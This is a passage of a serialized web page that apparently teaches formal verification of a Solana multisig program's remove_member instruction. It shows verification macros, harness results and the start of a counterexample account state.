mut",{"type":23,"tag":230,"props":27910,"children":27911},{"style":274},[27912],{"type":29,"value":388},{"type":23,"tag":230,"props":27914,"children":27915},{"class":232,"line":391},[27916,27920,27924],{"type":23,"tag":230,"props":27917,"children":27918},{"style":274},[27919],{"type":29,"value":25338},{"type":23,"tag":230,"props":27921,"children":27922},{"style":268},[27923],{"type":29,"value":863},{"type":23,"tag":230,"props":27925,"children":27926},{"style":274},[27927],{"type":29,"value":27928}," [\n",{"type":23,"tag":230,"props":27930,"children":27931},{"class":232,"line":400},[27932,27937],{"type":23,"tag":230,"props":27933,"children":27934},{"style":380},[27935],{"type":29,"value":27936},"            b\"squad\"",{"type":23,"tag":230,"props":27938,"children":27939},{"style":274},[27940],{"type":29,"value":388},{"type":23,"tag":230,"props":27942,"children":27943},{"class":232,"line":444},[27944,27949,27953,27958,27962],{"type":23,"tag":230,"props":27945,"children":27946},{"style":274},[27947],{"type":29,"value":27948},"            multisig",{"type":23,"tag":230,"props":27950,"children":27951},{"style":268},[27952],{"type":29,"value":312},{"type":23,"tag":230,"props":27954,"children":27955},{"style":274},[27956],{"type":29,"value":27957},"create_key",{"type":23,"tag":230,"props":27959,"children":27960},{"style":268},[27961],{"type":29,"value":312},{"type":23,"tag":230,"props":27963,"children":27964},{"style":274},[27965],{"type":29,"value":27966},"as_ref(),\n",{"type":23,"tag":230,"props":27968,"children":27969},{"class":232,"line":453},[27970],{"type":23,"tag":230,"props":27971,"children":27972},{"style":380},[27973],{"type":29,"value":27974},"            b\"multisig\"\n",{"type":23,"tag":230,"props":27976,"children":27977},{"class":232,"line":462},[27978,27983,27988,27992,27996,28000],{"type":23,"tag":230,"props":27979,"children":27980},{"style":274},[27981],{"type":29,"value":27982},"        ], ",{"type":23,"tag":230,"props":27984,"children":27985},{"style":262},[27986],{"type":29,"value":27987},"bump",{"type":23,"tag":230,"props":27989,"children":27990},{"style":268},[27991],{"type":29,"value":271},{"type":23,"tag":230,"props":27993,"children":27994},{"style":262},[27995],{"type":29,"value":25400},{"type":23,"tag":230,"props":27997,"children":27998},{"style":268},[27999],{"type":29,"value":312},{"type":23,"tag":230,"props":28001,"children":28002},{"style":274},[28003],{"type":29,"value":25380},{"type":23,"tag":230,"props":28005,"children":28006},{"class":232,"line":471},[28007],{"type":23,"tag":230,"props":28008,"children":28009},{"style":274},[28010],{"type":29,"value":25388},{"type":23,"tag":230,"props":28012,"children":28013},{"class":232,"line":500},[28014,28018,28023,28027,28031,28035,28039],{"type":23,"tag":230,"props":28015,"children":28016},{"style":256},[28017],{"type":29,"value":23158},{"type":23,"tag":230,"props":28019,"children":28020},{"style":262},[28021],{"type":29,"value":28022}," multisig_auth",{"type":23,"tag":230,"props":28024,"children":28025},{"style":268},[28026],{"type":29,"value":218},{"type":23,"tag":230,"props":28028,"children":28029},{"style":676},[28030],{"type":29,"value":25473},{"type":23,"tag":230,"props":28032,"children":28033},{"style":274},[28034],{"type":29,"value":25237},{"type":23,"tag":230,"props":28036,"children":28037},{"style":676},[28038],{"type":29,"value":25242},{"type":23,"tag":230,"props":28040,"children":28041},{"style":274},[28042],{"type":29,"value":8475},{"type":23,"tag":230,"props":28044,"children":28045},{"class":232,"line":514},[28046],{"type":23,"tag":230,"props":28047,"children":28048},{"style":274},[28049],{"type":29,"value":975},{"type":23,"tag":230,"props":28051,"children":28052},{"class":232,"line":897},[28053],{"type":23,"tag":230,"props":28054,"children":28055},{"emptyLinePlaceholder":18},[28056],{"type":29,"value":459},{"type":23,"tag":230,"props":28058,"children":28059},{"class":232,"line":960},[28060,28064,28068,28073,28077,28081,28085,28089,28093,28098,28102,28107,28111,28115,28119,28123,28127],{"type":23,"tag":230,"props":28061,"children":28062},{"style":256},[28063],{"type":29,"value":16017},{"type":23,"tag":230,"props":28065,"children":28066},{"style":256},[28067],{"type":29,"value":16022},{"type":23,"tag":230,"props":28069,"children":28070},{"style":294},[28071],{"type":29,"value":28072}," remove_member",{"type":23,"tag":230,"props":28074,"children":28075},{"style":274},[28076],{"type":29,"value":302},{"type":23,"tag":230,"props":28078,"children":28079},{"style":262},[28080],{"type":29,"value":22595},{"type":23,"tag":230,"props":28082,"children":28083},{"style":268},[28084],{"type":29,"value":218},{"type":23,"tag":230,"props":28086,"children":28087},{"style":676},[28088],{"type":29,"value":22604},{"type":23,"tag":230,"props":28090,"children":28091},{"style":274},[28092],{"type":29,"value":8143},{"type":23,"tag":230,"props":28094,"children":28095},{"style":676},[28096],{"type":29,"value":28097},"MsAuth",{"type":23,"tag":230,"props":28099,"children":28100},{"style":274},[28101],{"type":29,"value":8967},{"type":23,"tag":230,"props":28103,"children":28104},{"style":262},[28105],{"type":29,"value":28106},"old_member",{"type":23,"tag":230,"props":28108,"children":28109},{"style":268},[28110],{"type":29,"value":218},{"type":23,"tag":230,"props":28112,"children":28113},{"style":676},[28114],{"type":29,"value":23172},{"type":23,"tag":230,"props":28116,"children":28117},{"style":274},[28118],{"type":29,"value":703},{"type":23,"tag":230,"props":28120,"children":28121},{"style":268},[28122],{"type":29,"value":16084},{"type":23,"tag":230,"props":28124,"children":28125},{"style":676},[28126],{"type":29,"value":16089},{"type":23,"tag":230,"props":28128,"children":28129},{"style":274},[28130],{"type":29,"value":22646},{"type":23,"tag":230,"props":28132,"children":28133},{"class":232,"line":969},[28134],{"type":23,"tag":230,"props":28135,"children":28136},{"style":237},[28137],{"type":29,"value":28138},"    // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":230,"props":28140,"children":28141},{"class":232,"line":4526},[28142,28146,28151,28155,28159,28163,28167,28171,28175,28179,28183,28187,28191,28195],{"type":23,"tag":230,"props":28143,"children":28144},{"style":866},[28145],{"type":29,"value":1493},{"type":23,"tag":230,"props":28147,"children":28148},{"style":262},[28149],{"type":29,"value":28150}," ctx",{"type":23,"tag":230,"props":28152,"children":28153},{"style":268},[28154],{"type":29,"value":312},{"type":23,"tag":230,"props":28156,"children":28157},{"style":274},[28158],{"type":29,"value":17002},{"type":23,"tag":230,"props":28160,"children":28161},{"style":268},[28162],{"type":29,"value":312},{"type":23,"tag":230,"props":28164,"children":28165},{"style":274},[28166],{"type":29,"value":26116},{"type":23,"tag":230,"props":28168,"children":28169},{"style":268},[28170],{"type":29,"value":312},{"type":23,"tag":230,"props":28172,"children":28173},{"style":274},[28174],{"type":29,"value":23297},{"type":23,"tag":230,"props":28176,"children":28177},{"style":268},[28178],{"type":29,"value":312},{"type":23,"tag":230,"props":28180,"children":28181},{"style":294},[28182],{"type":29,"value":11471},{"type":23,"tag":230,"props":28184,"children":28185},{"style":274},[28186],{"type":29,"value":16370},{"type":23,"tag":230,"props":28188,"children":28189},{"style":268},[28190],{"type":29,"value":10911},{"type":23,"tag":230,"props":28192,"children":28193},{"style":5149},[28194],{"type":29,"value":6861},{"type":23,"tag":230,"props":28196,"children":28197},{"style":274},[28198],{"type":29,"value":277},{"type":23,"tag":230,"props":28200,"children":28201},{"class":232,"line":4534},[28202,28206,28210,28214,28218,28222,28227],{"type":23,"tag":230,"props":28203,"children":28204},{"style":866},[28205],{"type":29,"value":3554},{"type":23,"tag":230,"props":28207,"children":28208},{"style":294},[28209],{"type":29,"value":25833},{"type":23,"tag":230,"props":28211,"children":28212},{"style":274},[28213],{"type":29,"value":302},{"type":23,"tag":230,"props":28215,"children":28216},{"style":676},[28217],{"type":29,"value":25842},{"type":23,"tag":230,"props":28219,"children":28220},{"style":268},[28221],{"type":29,"value":5818},{"type":23,"tag":230,"props":28223,"children":28224},{"style":676},[28225],{"type":29,"value":28226},"CannotRemoveSoloMember",{"type":23,"tag":230,"props":28228,"children":28229},{"style":274},[28230],{"type":29,"value":753},{"type":23,"tag":230,"props":28232,"children":28233},{"class":232,"line":4542},[28234],{"type":23,"tag":230,"props":28235,"children":28236},{"style":274},[28237],{"type":29,"value":1552},{"type":23,"tag":230,"props":28239,"children":28240},{"class":232,"line":4559},[28241,28245,28249,28253,28257,28261,28265,28269,28273,28277,28281,28285],{"type":23,"tag":230,"props":28242,"children":28243},{"style":262},[28244],{"type":29,"value":22538},{"type":23,"tag":230,"props":28246,"children":28247},{"style":268},[28248],{"type":29,"value":312},{"type":23,"tag":230,"props":28250,"children":28251},{"style":274},[28252],{"type":29,"value":17002},{"type":23,"tag":230,"props":28254,"children":28255},{"style":268},[28256],{"type":29,"value":312},{"type":23,"tag":230,"props":28258,"children":28259},{"style":274},[28260],{"type":29,"value":26116},{"type":23,"tag":230,"props":28262,"children":28263},{"style":268},[28264],{"type":29,"value":312},{"type":23,"tag":230,"props":28266,"children":28267},{"style":294},[28268],{"type":29,"value":27773},{"type":23,"tag":230,"props":28270,"children":28271},{"style":274},[28272],{"type":29,"value":302},{"type":23,"tag":230,"props":28274,"children":28275},{"style":262},[28276],{"type":29,"value":28106},{"type":23,"tag":230,"props":28278,"children":28279},{"style":274},[28280],{"type":29,"value":5467},{"type":23,"tag":230,"props":28282,"children":28283},{"style":268},[28284],{"type":29,"value":5494},{"type":23,"tag":230,"props":28286,"children":28287},{"style":274},[28288],{"type":29,"value":511},{"type":23,"tag":230,"props":28290,"children":28291},{"class":232,"line":4587},[28292],{"type":23,"tag":230,"props":28293,"children":28294},{"emptyLinePlaceholder":18},[28295],{"type":29,"value":459},{"type":23,"tag":230,"props":28297,"children":28298},{"class":232,"line":4595},[28299],{"type":23,"tag":230,"props":28300,"children":28301},{"style":237},[28302],{"type":29,"value":28303},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":230,"props":28305,"children":28306},{"class":232,"line":4619},[28307,28311,28315,28319,28323,28327,28331,28335,28339,28343,28347,28352,28356,28360,28364,28368,28372,28376,28380,28384,28388,28392],{"type":23,"tag":230,"props":28308,"children":28309},{"style":866},[28310],{"type":29,"value":1493},{"type":23,"tag":230,"props":28312,"children":28313},{"style":262},[28314],{"type":29,"value":28150},{"type":23,"tag":230,"props":28316,"children":28317},{"style":268},[28318],{"type":29,"value":312},{"type":23,"tag":230,"props":28320,"children":28321},{"style":274},[28322],{"type":29,"value":17002},{"type":23,"tag":230,"props":28324,"children":28325},{"style":268},[28326],{"type":29,"value":312},{"type":23,"tag":230,"props":28328,"children":28329},{"style":274},[28330],{"type":29,"value":26116},{"type":23,"tag":230,"props":28332,"children":28333},{"style":268},[28334],{"type":29,"value":312},{"type":23,"tag":230,"props":28336,"children":28337},{"style":274},[28338],{"type":29,"value":23297},{"type":23,"tag":230,"props":28340,"children":28341},{"style":268},[28342],{"type":29,"value":312},{"type":23,"tag":230,"props":28344,"children":28345},{"style":294},[28346],{"type":29,"value":11471},{"type":23,"tag":230,"props":28348,"children":28349},{"style":274},[28350],{"type":29,"value":28351},"() \u003C ",{"type":23,"tag":230,"props":28353,"children":28354},{"style":676},[28355],{"type":29,"value":18925},{"type":23,"tag":230,"props":28357,"children":28358},{"style":268},[28359],{"type":29,"value":5818},{"type":23,"tag":230,"props":28361,"children":28362},{"style":294},[28363],{"type":29,"value":4276},{"type":23,"tag":230,"props":28365,"children":28366},{"style":274},[28367],{"type":29,"value":302},{"type":23,"tag":230,"props":28369,"children":28370},{"style":262},[28371],{"type":29,"value":22595},{"type":23,"tag":230,"props":28373,"children":28374},{"style":268},[28375],{"type":29,"value":312},{"type":23,"tag":230,"props":28377,"children":28378},{"style":274},[28379],{"type":29,"value":17002},{"type":23,"tag":230,"props":28381,"children":28382},{"style":268},[28383],{"type":29,"value":312},{"type":23,"tag":230,"props":28385,"children":28386},{"style":274},[28387],{"type":29,"value":26116},{"type":23,"tag":230,"props":28389,"children":28390},{"style":268},[28391],{"type":29,"value":312},{"type":23,"tag":230,"props":28393,"children":28394},{"style":274},[28395],{"type":29,"value":28396},"threshold) {\n",{"type":23,"tag":230,"props":28398,"children":28399},{"class":232,"line":4627},[28400,28404,28409,28413,28417,28421,28425,28429,28433,28437,28441,28445,28449,28453,28457,28461,28465,28470,28474,28478,28482],{"type":23,"tag":230,"props":28401,"children":28402},{"style":256},[28403],{"type":29,"value":5404},{"type":23,"tag":230,"props":28405,"children":28406},{"style":262},[28407],{"type":29,"value":28408}," new_threshold",{"type":23,"tag":230,"props":28410,"children":28411},{"style":268},[28412],{"type":29,"value":218},{"type":23,"tag":230,"props":28414,"children":28415},{"style":676},[28416],{"type":29,"value":23344},{"type":23,"tag":230,"props":28418,"children":28419},{"style":268},[28420],{"type":29,"value":271},{"type":23,"tag":230,"props":28422,"children":28423},{"style":262},[28424],{"type":29,"value":28150},{"type":23,"tag":230,"props":28426,"children":28427},{"style":268},[28428],{"type":29,"value":312},{"type":23,"tag":230,"props":28430,"children":28431},{"style":274},[28432],{"type":29,"value":17002},{"type":23,"tag":230,"props":28434,"children":28435},{"style":268},[28436],{"type":29,"value":312},{"type":23,"tag":230,"props":28438,"children":28439},{"style":274},[28440],{"type":29,"value":26116},{"type":23,"tag":230,"props":28442,"children":28443},{"style":268},[28444],{"type":29,"value":312},{"type":23,"tag":230,"props":28446,"children":28447},{"style":274},[28448],{"type":29,"value":23297},{"type":23,"tag":230,"props":28450,"children":28451},{"style":268},[28452],{"type":29,"value":312},{"type":23,"tag":230,"props":28454,"children":28455},{"style":294},[28456],{"type":29,"value":11471},{"type":23,"tag":230,"props":28458,"children":28459},{"style":274},[28460],{"type":29,"value":16206},{"type":23,"tag":230,"props":28462,"children":28463},{"style":268},[28464],{"type":29,"value":312},{"type":23,"tag":230,"props":28466,"children":28467},{"style":294},[28468],{"type":29,"value":28469},"try_into",{"type":23,"tag":230,"props":28471,"children":28472},{"style":274},[28473],{"type":29,"value":16206},{"type":23,"tag":230,"props":28475,"children":28476},{"style":268},[28477],{"type":29,"value":312},{"type":23,"tag":230,"props":28479,"children":28480},{"style":294},[28481],{"type":29,"value":6001},{"type":23,"tag":230,"props":28483,"children":28484},{"style":274},[28485],{"type":29,"value":2140},{"type":23,"tag":230,"props":28487,"children":28488},{"class":232,"line":4659},[28489,28494,28498,28502,28506,28510,28514,28519,28523,28528,28532,28536],{"type":23,"tag":230,"props":28490,"children":28491},{"style":262},[28492],{"type":29,"value":28493},"        ctx",{"type":23,"tag":230,"props":28495,"children":28496},{"style":268},[28497],{"type":29,"value":312},{"type":23,"tag":230,"props":28499,"children":28500},{"style":274},[28501],{"type":29,"value":17002},{"type":23,"tag":230,"props":28503,"children":28504},{"style":268},[28505],{"type":29,"value":312},{"type":23,"tag":230,"props":28507,"children":28508},{"style":274},[28509],{"type":29,"value":26116},{"type":23,"tag":230,"props":28511,"children":28512},{"style":268},[28513],{"type":29,"value":312},{"type":23,"tag":230,"props":28515,"children":28516},{"style":294},[28517],{"type":29,"value":28518},"change_threshold",{"type":23,"tag":230,"props":28520,"children":28521},{"style":274},[28522],{"type":29,"value":302},{"type":23,"tag":230,"props":28524,"children":28525},{"style":262},[28526],{"type":29,"value":28527},"new_threshold",{"type":23,"tag":230,"props":28529,"children":28530},{"style":274},[28531],{"type":29,"value":5467},{"type":23,"tag":230,"props":28533,"children":28534},{"style":268},[28535],{"type":29,"value":5494},{"type":23,"tag":230,"props":28537,"children":28538},{"style":274},[28539],{"type":29,"value":511},{"type":23,"tag":230,"props":28541,"children":28542},{"class":232,"line":4671},[28543],{"type":23,"tag":230,"props":28544,"children":28545},{"style":274},[28546],{"type":29,"value":1552},{"type":23,"tag":230,"props":28548,"children":28549},{"class":232,"line":4688},[28550,28554,28559,28563,28567,28571,28575,28579,28583,28587],{"type":23,"tag":230,"props":28551,"children":28552},{"style":256},[28553],{"type":29,"value":5340},{"type":23,"tag":230,"props":28555,"children":28556},{"style":262},[28557],{"type":29,"value":28558}," new_index",{"type":23,"tag":230,"props":28560,"children":28561},{"style":268},[28562],{"type":29,"value":271},{"type":23,"tag":230,"props":28564,"children":28565},{"style":262},[28566],{"type":29,"value":28150},{"type":23,"tag":230,"props":28568,"children":28569},{"style":268},[28570],{"type":29,"value":312},{"type":23,"tag":230,"props":28572,"children":28573},{"style":274},[28574],{"type":29,"value":17002},{"type":23,"tag":230,"props":28576,"children":28577},{"style":268},[28578],{"type":29,"value":312},{"type":23,"tag":230,"props":28580,"children":28581},{"style":274},[28582],{"type":29,"value":26116},{"type":23,"tag":230,"props":28584,"children":28585},{"style":268},[28586],{"type":29,"value":312},{"type":23,"tag":230,"props":28588,"children":28589},{"style":274},[28590],{"type":29,"value":28591},"transaction_index;\n",{"type":23,"tag":230,"props":28593,"children":28594},{"class":232,"line":4701},[28595,28599,28603,28607,28611,28615,28619,28624,28628,28633],{"type":23,"tag":230,"props":28596,"children":28597},{"style":262},[28598],{"type":29,"value":22538},{"type":23,"tag":230,"props":28600,"children":28601},{"style":268},[28602],{"type":29,"value":312},{"type":23,"tag":230,"props":28604,"children":28605},{"style":274},[28606],{"type":29,"value":17002},{"type":23,"tag":230,"props":28608,"children":28609},{"style":268},[28610],{"type":29,"value":312},{"type":23,"tag":230,"props":28612,"children":28613},{"style":274},[28614],{"type":29,"value":26116},{"type":23,"tag":230,"props":28616,"children":28617},{"style":268},[28618],{"type":29,"value":312},{"type":23,"tag":230,"props":28620,"children":28621},{"style":294},[28622],{"type":29,"value":28623},"set_change_index",{"type":23,"tag":230,"props":28625,"children":28626},{"style":274},[28627],{"type":29,"value":302},{"type":23,"tag":230,"props":28629,"children":28630},{"style":262},[28631],{"type":29,"value":28632},"new_index",{"type":23,"tag":230,"props":28634,"children":28635},{"style":274},[28636],{"type":29,"value":4516},{"type":23,"tag":230,"props":28638,"children":28639},{"class":232,"line":4724},[28640],{"type":23,"tag":230,"props":28641,"children":28642},{"style":274},[28643],{"type":29,"value":975},{"type":23,"tag":32,"props":28645,"children":28646},{},[28647,28649,28654],{"type":29,"value":28648},"First let's establish the ",{"type":23,"tag":71,"props":28650,"children":28652},{"className":28651},[],[28653],{"type":29,"value":22469},{"type":29,"value":28655}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":220,"props":28657,"children":28659},{"code":28658,"language":5319,"meta":7,"className":5320,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[28660],{"type":23,"tag":71,"props":28661,"children":28662},{"__ignoreMap":7},[28663,28670,28717,28724],{"type":23,"tag":230,"props":28664,"children":28665},{"class":232,"line":233},[28666],{"type":23,"tag":230,"props":28667,"children":28668},{"style":274},[28669],{"type":29,"value":26418},{"type":23,"tag":230,"props":28671,"children":28672},{"class":232,"line":243},[28673,28677,28681,28685,28689,28693,28697,28701,28705,28709,28713],{"type":23,"tag":230,"props":28674,"children":28675},{"style":274},[28676],{"type":29,"value":22538},{"type":23,"tag":230,"props":28678,"children":28679},{"style":268},[28680],{"type":29,"value":312},{"type":23,"tag":230,"props":28682,"children":28683},{"style":274},[28684],{"type":29,"value":17002},{"type":23,"tag":230,"props":28686,"children":28687},{"style":268},[28688],{"type":29,"value":312},{"type":23,"tag":230,"props":28690,"children":28691},{"style":274},[28692],{"type":29,"value":26116},{"type":23,"tag":230,"props":28694,"children":28695},{"style":268},[28696],{"type":29,"value":312},{"type":23,"tag":230,"props":28698,"children":28699},{"style":274},[28700],{"type":29,"value":23297},{"type":23,"tag":230,"props":28702,"children":28703},{"style":268},[28704],{"type":29,"value":312},{"type":23,"tag":230,"props":28706,"children":28707},{"style":274},[28708],{"type":29,"value":23335},{"type":23,"tag":230,"props":28710,"children":28711},{"style":268},[28712],{"type":29,"value":12792},{"type":23,"tag":230,"props":28714,"children":28715},{"style":274},[28716],{"type":29,"value":21758},{"type":23,"tag":230,"props":28718,"children":28719},{"class":232,"line":252},[28720],{"type":23,"tag":230,"props":28721,"children":28722},{"style":274},[28723],{"type":29,"value":22573},{"type":23,"tag":230,"props":28725,"children":28726},{"class":232,"line":280},[28727,28731,28735,28739,28743,28747,28751],{"type":23,"tag":230,"props":28728,"children":28729},{"style":256},[28730],{"type":29,"value":22581},{"type":23,"tag":230,"props":28732,"children":28733},{"style":294},[28734],{"type":29,"value":28072},{"type":23,"tag":230,"props":28736,"children":28737},{"style":274},[28738],{"type":29,"value":302},{"type":23,"tag":230,"props":28740,"children":28741},{"style":268},[28742],{"type":29,"value":11922},{"type":23,"tag":230,"props":28744,"children":28745},{"style":274},[28746],{"type":29,"value":26295},{"type":23,"tag":230,"props":28748,"children":28749},{"style":268},[28750],{"type":29,"value":11922},{"type":23,"tag":230,"props":28752,"children":28753},{"style":274},[28754],{"type":29,"value":11927},{"type":23,"tag":32,"props":28756,"children":28757},{},[28758,28760,28765],{"type":29,"value":28759},"And for now let's remove the invariant on the ",{"type":23,"tag":71,"props":28761,"children":28763},{"className":28762},[],[28764],{"type":29,"value":25056},{"type":29,"value":28766}," account:",{"type":23,"tag":220,"props":28768,"children":28770},{"code":28769,"language":5319,"meta":7,"className":5320,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[28771],{"type":23,"tag":71,"props":28772,"children":28773},{"__ignoreMap":7},[28774,28782],{"type":23,"tag":230,"props":28775,"children":28776},{"class":232,"line":233},[28777],{"type":23,"tag":230,"props":28778,"children":28779},{"style":274},[28780],{"type":29,"value":28781},"#[invariant()]\n",{"type":23,"tag":230,"props":28783,"children":28784},{"class":232,"line":243},[28785,28789,28793,28797,28801,28805],{"type":23,"tag":230,"props":28786,"children":28787},{"style":256},[28788],{"type":29,"value":16017},{"type":23,"tag":230,"props":28790,"children":28791},{"style":256},[28792],{"type":29,"value":23465},{"type":23,"tag":230,"props":28794,"children":28795},{"style":676},[28796],{"type":29,"value":23470},{"type":23,"tag":230,"props":28798,"children":28799},{"style":274},[28800],{"type":29,"value":848},{"type":23,"tag":230,"props":28802,"children":28803},{"style":268},[28804],{"type":29,"value":11922},{"type":23,"tag":230,"props":28806,"children":28807},{"style":274},[28808],{"type":29,"value":11927},{"type":23,"tag":32,"props":28810,"children":28811},{},[28812],{"type":29,"value":28813},"Let's test this!",{"type":23,"tag":32,"props":28815,"children":28816},{},[28817,28819,28824],{"type":29,"value":28818},"Our ",{"type":23,"tag":71,"props":28820,"children":28822},{"className":28821},[],[28823],{"type":29,"value":22469},{"type":29,"value":28825}," harness produces:",{"type":23,"tag":220,"props":28827,"children":28829},{"code":28828},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[28830],{"type":23,"tag":71,"props":28831,"children":28832},{"__ignoreMap":7},[28833],{"type":29,"value":28828},{"type":23,"tag":32,"props":28835,"children":28836},{},[28837],{"type":29,"value":28838},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":32,"props":28840,"children":28841},{},[28842,28844,28849],{"type":29,"value":28843},"However, remember that since ",{"type":23,"tag":71,"props":28845,"children":28847},{"className":28846},[],[28848],{"type":29,"value":22469},{"type":29,"value":28850}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":32,"props":28852,"children":28853},{},[28854,28856,28861,28863,28868,28870,28875],{"type":29,"value":28855},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":2258,"props":28857,"children":28858},{},[28859],{"type":29,"value":28860},"only condition",{"type":29,"value":28862}," in which the function will succeed (i.e. ",{"type":23,"tag":2258,"props":28864,"children":28865},{},[28866],{"type":29,"value":28867},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":29,"value":28869},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":71,"props":28871,"children":28873},{"className":28872},[],[28874],{"type":29,"value":22476},{"type":29,"value":28876}," macro such as:",{"type":23,"tag":220,"props":28878,"children":28880},{"code":28879,"language":5319,"meta":7,"className":5320,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[28881],{"type":23,"tag":71,"props":28882,"children":28883},{"__ignoreMap":7},[28884,28891,28938,28945,28952,28999,29006],{"type":23,"tag":230,"props":28885,"children":28886},{"class":232,"line":233},[28887],{"type":23,"tag":230,"props":28888,"children":28889},{"style":274},[28890],{"type":29,"value":26418},{"type":23,"tag":230,"props":28892,"children":28893},{"class":232,"line":243},[28894,28898,28902,28906,28910,28914,28918,28922,28926,28930,28934],{"type":23,"tag":230,"props":28895,"children":28896},{"style":274},[28897],{"type":29,"value":22538},{"type":23,"tag":230,"props":28899,"children":28900},{"style":268},[28901],{"type":29,"value":312},{"type":23,"tag":230,"props":28903,"children":28904},{"style":274},[28905],{"type":29,"value":17002},{"type":23,"tag":230,"props":28907,"children":28908},{"style":268},[28909],{"type":29,"value":312},{"type":23,"tag":230,"props":28911,"children":28912},{"style":274},[28913],{"type":29,"value":26116},{"type":23,"tag":230,"props":28915,"children":28916},{"style":268},[28917],{"type":29,"value":312},{"type":23,"tag":230,"props":28919,"children":28920},{"style":274},[28921],{"type":29,"value":23297},{"type":23,"tag":230,"props":28923,"children":28924},{"style":268},[28925],{"type":29,"value":312},{"type":23,"tag":230,"props":28927,"children":28928},{"style":274},[28929],{"type":29,"value":23335},{"type":23,"tag":230,"props":28931,"children":28932},{"style":268},[28933],{"type":29,"value":12792},{"type":23,"tag":230,"props":28935,"children":28936},{"style":274},[28937],{"type":29,"value":21758},{"type":23,"tag":230,"props":28939,"children":28940},{"class":232,"line":252},[28941],{"type":23,"tag":230,"props":28942,"children":28943},{"style":274},[28944],{"type":29,"value":22573},{"type":23,"tag":230,"props":28946,"children":28947},{"class":232,"line":280},[28948],{"type":23,"tag":230,"props":28949,"children":28950},{"style":274},[28951],{"type":29,"value":22530},{"type":23,"tag":230,"props":28953,"children":28954},{"class":232,"line":334},[28955,28959,28963,28967,28971,28975,28979,28983,28987,28991,28995],{"type":23,"tag":230,"props":28956,"children":28957},{"style":274},[28958],{"type":29,"value":22538},{"type":23,"tag":230,"props":28960,"children":28961},{"style":268},[28962],{"type":29,"value":312},{"type":23,"tag":230,"props":28964,"children":28965},{"style":274},[28966],{"type":29,"value":17002},{"type":23,"tag":230,"props":28968,"children":28969},{"style":268},[28970],{"type":29,"value":312},{"type":23,"tag":230,"props":28972,"children":28973},{"style":274},[28974],{"type":29,"value":26116},{"type":23,"tag":230,"props":28976,"children":28977},{"style":268},[28978],{"type":29,"value":312},{"type":23,"tag":230,"props":28980,"children":28981},{"style":274},[28982],{"type":29,"value":23297},{"type":23,"tag":230,"props":28984,"children":28985},{"style":268},[28986],{"type":29,"value":312},{"type":23,"tag":230,"props":28988,"children":28989},{"style":274},[28990],{"type":29,"value":23335},{"type":23,"tag":230,"props":28992,"children":28993},{"style":268},[28994],{"type":29,"value":21730},{"type":23,"tag":230,"props":28996,"children":28997},{"style":274},[28998],{"type":29,"value":21758},{"type":23,"tag":230,"props":29000,"children":29001},{"class":232,"line":371},[29002],{"type":23,"tag":230,"props":29003,"children":29004},{"style":274},[29005],{"type":29,"value":22573},{"type":23,"tag":230,"props":29007,"children":29008},{"class":232,"line":391},[29009,29013,29017,29021,29025,29029,29033],{"type":23,"tag":230,"props":29010,"children":29011},{"style":256},[29012],{"type":29,"value":22581},{"type":23,"tag":230,"props":29014,"children":29015},{"style":294},[29016],{"type":29,"value":28072},{"type":23,"tag":230,"props":29018,"children":29019},{"style":274},[29020],{"type":29,"value":302},{"type":23,"tag":230,"props":29022,"children":29023},{"style":268},[29024],{"type":29,"value":11922},{"type":23,"tag":230,"props":29026,"children":29027},{"style":274},[29028],{"type":29,"value":26295},{"type":23,"tag":230,"props":29030,"children":29031},{"style":268},[29032],{"type":29,"value":11922},{"type":23,"tag":230,"props":29034,"children":29035},{"style":274},[29036],{"type":29,"value":11927},{"type":23,"tag":32,"props":29038,"children":29039},{},[29040,29042,29047],{"type":29,"value":29041},"Let's test this, we just need to run the new ",{"type":23,"tag":71,"props":29043,"children":29045},{"className":29044},[],[29046],{"type":29,"value":22476},{"type":29,"value":29048}," harness:",{"type":23,"tag":220,"props":29050,"children":29052},{"code":29051},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[29053],{"type":23,"tag":71,"props":29054,"children":29055},{"__ignoreMap":7},[29056],{"type":29,"value":29051},{"type":23,"tag":32,"props":29058,"children":29059},{},[29060],{"type":29,"value":29061},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":220,"props":29063,"children":29065},{"code":29064,"language":5319,"meta":7,"className":5320,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[29066],{"type":23,"tag":71,"props":29067,"children":29068},{"__ignoreMap":7},[29069,29080,29099,29118,29137,29156,29175,29194,29213,29232,29251,29271,29290,29297,29304,29331],{"type":23,"tag":230,"props":29070,"children":29071},{"class":232,"line":233},[29072,29076],{"type":23,"tag":230,"props":29073,"children":29074},{"style":676},[29075],{"type":29,"value":19467},{"type":23,"tag":230,"props":29077,"children":29078},{"style":274},[29079],{"type":29,"value":277},{"type":23,"tag":230,"props":29081,"children":29082},{"class":232,"line":243},[29083,29087,29091,29095],{"type":23,"tag":230,"props":29084,"children":29085},{"style":262},[29086],{"type":29,"value":27478},{"type":23,"tag":230,"props":29088,"children":29089},{"style":268},[29090],{"type":29,"value":218},{"type":23,"tag":230,"props":29092,"children":29093},{"style":676},[29094],{"type":29,"value":23470},{"type":23,"tag":230,"props":29096,"children":29097},{"style":274},[29098],{"type":29,"value":277},{"type":23,"tag":230,"props":29100,"children":29101},{"class":232,"line":252},[29102,29106,29110,29114],{"type":23,"tag":230,"props":29103,"children":29104},{"style":262},[29105],{"type":29,"value":26136},{"type":23,"tag":230,"props":29107,"children":29108},{"style":268},[29109],{"type":29,